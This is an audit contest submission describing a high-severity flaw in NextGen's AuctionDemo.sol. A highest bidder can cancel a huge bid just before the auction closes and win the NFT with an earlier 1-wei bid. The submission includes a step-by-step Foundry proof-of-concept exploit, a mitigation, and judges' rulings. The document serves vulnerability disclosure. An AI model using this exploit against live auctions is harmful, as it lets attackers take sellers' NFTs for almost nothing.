Highest bidder can cancel their bid to win auctions for free

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L125
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L128
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L58
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L69-L76

Vulnerability details

Summary

An adversary can win any auctions for "free" (with as little as 1 wei):

1. Bid an NFT for 1 wei
2. Bid the NFT again for a sufficiently big value that will not make sense for other users to outbid
3. Time passes without any new bid, as any new bid must be higher than the biggest one
4. Cancel the highest bid moments before the auction ends and get the bidded Ether back
5. There is no time for other bidders to place new bids
6. The winning bid becomes the one with 1 wei
7. Claim the NFT

Impact

NFTs in auction can be gotten for free (1 wei). The attack can be performed on any NFTs in auction, with little to no risk for the adversary.

Evaluated as High due to compromised assets without hand-wavy hypotheticals.

Proof of Concept

Placing bids is done via participateToAuction(), and it requires that the bid is higher than the previous one. For the first bid, it can be as low as zero, as there is no previous one. So the adversary can place a bid for 1 wei.

Then the adversary can place a huge bid, knowing that no other user can place bids unless they outbid it (which shouldn't happen as the highest bid would be absurdly high).

The main issue relies on the ability of the highest bidder to cancel their bid at any time they want. This can be seen in the cancelBid(), and cancelAllBids() functions, as the only requirement they have is that the bid is canceled before the auction ends. When the user cancels their bid, they get the bidded amount back.

So if the bid is canceled just before the auction ends, the winning bid will become the second highest, which will be the 1 wei bid, as this is how it is calculated on returnHighestBid().

The NFT can then be claimed via claimAuction().

The full process can be seen on the following Coded POC that shows the steps described on the Summary section.

Coded Proof of Concept

1. Run forge init --no-git --force to initiate Foundry on the root of the project
2. Create test/Poc.t.sol and copy the snippet below
3. Run forge test

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";

import {auctionDemo} from "smart-contracts/AuctionDemo.sol";
import {NextGenMinterContract} from "smart-contracts/MinterContract.sol";
import {NextGenAdmins} from "smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "smart-contracts/NextGenCore.sol";


contract AuctionTest is Test {
    NextGenAdmins admin;
    NextGenCore gencore;
    NextGenMinterContract minter;
    auctionDemo auction;

    function setUp() public {
        admin = new NextGenAdmins();
        gencore = new NextGenCore("core", "core", address(admin));
        minter = new NextGenMinterContract(address(gencore), address(0), address(admin));
        auction = new auctionDemo(address(minter), address(gencore), address(admin));
    }

    function testPoc() public {
        address adversary = makeAddr("adversary");
        address otherBidder = makeAddr("otherBidder");
        address tokenOwner = makeAddr("tokenOwner");
        uint256 tokenId = 1;
        
        // Simulate an auction for a token that ends in 12 hours
        uint256 auctionEndTime = block.timestamp + 12 hours;
        vm.mockCall(address(minter), 0, abi.encodeCall(minter.getAuctionEndTime, (tokenId)), abi.encode(auctionEndTime));
        vm.mockCall(address(minter), 0, abi.encodeCall(minter.getAuctionStatus, (tokenId)), abi.encode(true));

        // Mock the token transfer in `claimAuction()` to check that it will be called with these specific params
        //   (`tokenOwner`, `adversary`, or `tokenId` can be changed to verify that it would revert with other values)
        vm.mockCall(address(gencore), 0, abi.encodeCall(gencore.ownerOf, (tokenId)), abi.encode(tokenOwner));
        vm.mockCall(
            address(gencore),
            0,
            abi.encodeWithSignature("safeTransferFrom(address,address,uint256)", tokenOwner, adversary, tokenId),
            abi.encode(true)
        );

        // An adversary can make a first bid for as little as 1 wei
        hoax(adversary);
        auction.participateToAuction{value: 1}(tokenId);

        // Then they can make a huge bid that no other user would be interested in outbidding
        hoax(adversary);
        auction.participateToAuction{value: 20 ether}(tokenId);

        // Other bidders can't place lower bids than the highest one
        hoax(otherBidder);
        vm.expectRevert();
        auction.participateToAuction{value: 1 ether}(tokenId);

        // Then just before the auction ends...
        vm.warp(auctionEndTime - 30 seconds);

        // The adversary can cancel the highest bid and get back their Ether
        uint256 balanceBefore = adversary.balance;
        vm.prank(adversary);
        auction.cancelBid(tokenId, 1);
        assertEq(adversary.balance, balanceBefore + 20 ether);

        // Once the auction is over the adversary will claim the token with the 1 wei bid
        vm.warp(auctionEndTime);
        vm.prank(adversary);
        auction.claimAuction(tokenId);
    }
}

Tools Used

Foundry

Recommended Mitigation Steps

One possible mitigation is to prevent the highest bidder from canceling their bid.

Assessed type

Timing

[c4-pre-sort]

141345 marked the issue as duplicate of #962

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #1784

[c4-judge]

alex-ppg marked the issue as duplicate of #1323

[c4-judge]

alex-ppg marked the issue as partial-50

[c4-judge]

alex-ppg marked the issue as satisfactory

[c4-judge]

alex-ppg marked the issue as partial-50